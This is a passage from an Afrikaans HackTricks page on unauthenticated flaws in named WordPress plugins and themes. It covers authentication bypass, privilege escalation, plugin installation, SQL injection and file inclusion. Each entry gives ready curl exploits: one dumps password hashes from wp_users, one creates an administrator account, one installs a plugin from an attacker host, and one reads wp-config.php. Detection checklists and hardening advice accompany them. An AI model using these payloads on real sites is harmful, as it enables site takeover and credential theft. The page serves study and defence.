- Nie-geauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_⊠action).
- Geen nonce/capability kontroles voordat ân staat verander word.
- Geen OAuth/OpenID provider verifikasie; die default branch aanvaar attacker-invoer.
- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) authentiseer die versoeker as enige bestaande e-posadres.
Exploitation (unauthenticated)
- Voorvereistes: attacker kan /wp-admin/admin-ajax.php bereik en weet/raai ân geldige gebruikers-e-posadres.
- Stel provider op ân nie-ondersteunde waarde (of laat dit weg) om die default branch te tref en id=<victim_email> deur te gee.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Verwagte sukses-aanwysers
- HTTP 200 met JSON-liggaam soos {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* vir die slagoffer gebruiker; daaropvolgende versoeke is geauthentiseer.
Om die aksienaam te vind
- Inspekteer die theme/plugin vir add_action('wp_ajax_nopriv_...', '...') registrasies in social login-kode (bv., framework/add-ons/social-login/class-social-login.php).
- Grep vir wp_set_auth_cookie(), get_user_by('email', ...) binne AJAX handlers.
Opsporingskontrolelys
- Weblogs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php wys met die social-login aksie en id=
. - 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent.
Verharding
- Moet nie identiteit aflei uit kliëntinvoer nie. Aanvaar slegs e-posadresse/ID's wat afkomstig is van 'n gevalideerde verskaffer-token/ID.
- Vereis CSRF nonces en capability checks selfs vir aanmeldhulpmiddels; vermy die registrasie van wp_ajax_nopriv_ tensy dit absoluut nodig is.
- Valideer en verifieer OAuth/OIDC antwoorde server-side; verwerp ontbrekende/ongeldige providers (geen terugval na POST id nie).
- Oorweeg om social login tydelik uit te skakel of virtueel aan die edge te patch (blokkeer die kwesbare aksie) totdat dit reggemaak is.
Gepatchte gedrag (Jobmonster 4.8.0)
- Verwyder die onveilige terugval uit $_POST['id']; $user_email moet afkomstig wees van geverifieerde provider-takke in switch($_POST['using']).
Ongeauthentiseerde privilege-eskalasie via REST token/key minting op voorspelbare identiteit (OttoKit/SureTriggers †1.0.82)
Sommige plugins openbaar REST-endpoints wat herbruikbare âconnection keysâ of tokens mint sonder om die aanroeper se capabilities te verifieer. As die roete slegs op 'n raaiselbare attribuut (bv., username) autentiseer en nie die sleutel aan 'n gebruiker/sessie bind met capability checks nie, kan enige ongeauthentiseerde aanvaller 'n sleutel mint en bevoegde aksies aanroep (admin account creation, plugin actions â RCE).
- Kwetsbare roete (voorbeeld): sure-triggers/v1/connection/create-wp-connection
- Fout: aanvaar 'n username, gee 'n connection key uit sonder current_user_can() of 'n streng permission_callback
- Impak: volle oorname deur die geminte sleutel te koppel aan interne bevoegde aksies
PoC â mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# â {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Waarom dit uitbuitbaar is
- Sensitiewe REST route wat slegs beskerm word deur 'n laag-entropie identiteitsbewys (username) of ontbrekende permission_callback
- Geen capability-afdwinging nie; minted key word aanvaar as 'n universele omseiling
Detection checklist
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Enige route wat tokens/keys uitreik gebaseer op deur die versoek verskafde identiteit (username/email) sonder om dit te koppel aan 'n geverifieerde gebruiker of 'n capability
- Soek na volgende routes wat die minted token/key aanvaar sonder server-side capability kontroles
Hardening
- Vir enige bevoorregte REST route: vereis 'n permission_callback wat current_user_can() afdwing vir die vereiste capability
- Moet nie long-lived keys uit client-supplied identity skep nie; indien nodig, gee kortlewende, user-bound tokens uit na verifikasie en kontroleer capability weer tydens gebruik
- Valideer die oproeper se gebruikerskonteks (wp_set_current_user is nie afdoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse â ongeauthentiseerde arbitraire plugininstallasie (FunnelKit Automations †3.5.3)
Nonces voorkom CSRF, nie autorisasie nie. As kode 'n nonce-pass hanteer as 'n groen lig en dan capability kontroles vir bevoorregte operasies (bv. install/activate plugins) oorslaan, kan ongeauthentiseerde aanvallers aan 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of kwetsbare plugin te installeer.
- Kwetsbare pad: plugin/install_and_activate
- Fout: swak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce âpassesâ
- Impak: volle kompromittering via arbitraire plugininstallasie/-aktivering
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Opsporingskontrolelys
- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check
- Enige kodepad wat $skip_caps = true stel na nonce-validasie
Verharding
- Hanteer nonces altyd as slegs CSRF tokens; afdwing capability checks ongeag nonce-toestand
- Vereis current_user_can('install_plugins') en current_user_can('activate_plugins') voordat installer code bereik word
- Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider †3.6.1)
Verskeie depicter-* actions het die s (search) parameter gebruik en dit in SQL queries gekonkateneer sonder parameterisering.
- Parameter: s (search)
- Fout: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
- Impact: databasis-ekstraksie (gebruikers, hashes), laterale beweging
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep vir depicter-* action handlers en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL
- Hersien custom queries wat aan $wpdb->get_results()/query() deurgegee word en s aanmekaar heg
Hardening
- Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant
- Voeg 'n streng allowlist vir s by en normaliseer dit na die verwagte charset/lengte
Unauthenticated Local File Inclusion via ongevalideerde template/file path (Kubio AI Page Builder †2.5.1)
Aanvaarding van deur 'n aanvaller beheerde paaie in 'n template-parameter sonder normalisering/begrenzing laat toe om willekeurige plaaslike lĂȘers te lees, en soms kode-uitvoering indien inkludeerbare PHP/log-lĂȘers in die runtime ingesluit word.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: geen normalisering/allowlisting; traversering toegelaat
- Impact: geheime openbaarmaking (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)
PoC â lees wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Opsporingskontrolelys
- Enige handler wat request-paaie saamvoeg in include()/require()/read sinks sonder realpath() containment
- Kyk vir traversal-patrone (../) wat buite die beoogde templates-gids bereik
Verharding
- Dwing toegelate templates af; los dit op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lĂȘernaam (nie volle paaie nie)
Verwysings
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation â Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025âs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) †1.0.82 â Privilege Escalation (Patchstack DB)
- FunnelKit Automations †3.5.3 â Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider †3.6.1 â Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder †2.5.1 â Unauthenticated LFI (Patchstack DB)
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks